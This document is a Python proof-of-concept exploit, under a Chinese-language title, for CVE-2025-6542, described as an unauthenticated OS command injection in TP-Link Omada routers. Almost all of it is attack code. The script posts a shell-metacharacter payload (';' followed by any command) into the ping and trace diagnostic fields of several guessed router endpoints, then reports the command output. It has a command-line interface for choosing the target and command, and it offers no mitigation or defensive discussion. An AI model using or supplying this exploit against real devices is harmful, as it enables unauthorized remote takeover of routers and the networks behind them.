CVE-2025-6542：TP-Link Omada路由器远程未认证命令执行漏洞

# CVE-2025-6542 - TP-Link Omada Router RCE PoC # Vulnerability: Unauthenticated Remote OS Command Injection # CVSS: 9.8 (Critical) import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(target_url, cmd="id"): """ Exploit CVE-2025-6542: Unauthenticated OS command injection in TP-Link Omada routers and SOHO Festa gateways. """ target_url = target_url.rstrip('/') # Inject OS command via vulnerable parameter # The payload uses shell metacharacters to chain arbitrary commands payload = f";{cmd}" # Example vulnerable endpoint (adjust based on target firmware) vulnerable_endpoints = [ f"{target_url}/cgi-bin/luci/;stok=/admin/diagnostic", f"{target_url}/api/v1/diagnostic/tools", f"{target_url}/cgi-bin/luci/;stok=/api/diagnostic" ] headers = { "User-Agent": "Mozilla/5.0 (compatible; CVE-2025-6542)", "Content-Type": "application/x-www-form-urlencoded", "Referer": target_url } # Command injection via ping/trace diagnostic parameters data = { "ip": f"127.0.0.1{payload}", "host": f"127.0.0.1{payload}", "target": f"127.0.0.1{payload}", "address": f"127.0.0.1{payload}" } for endpoint in vulnerable_endpoints: try: print(f"[*] Trying endpoint: {endpoint}") response = requests.post( endpoint, data=data, headers=headers, verify=False, timeout=10 ) if response.status_code == 200 and ("uid=" in response.text or "root" in response.text): print(f"[+] Command executed successfully!") print(f"[+] Output: {response.text}") return response.text except Exception as e: print(f"[-] Error: {e}") continue print("[-] Exploitation failed - target may be patched") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_url> [command]") print(f"Example: {sys.argv[0]} https://192.168.0.1 'id'") sys.exit(1) target = sys.argv[1] command = sys.argv[2] if len(sys.argv) > 2 else "id" exploit(target, command)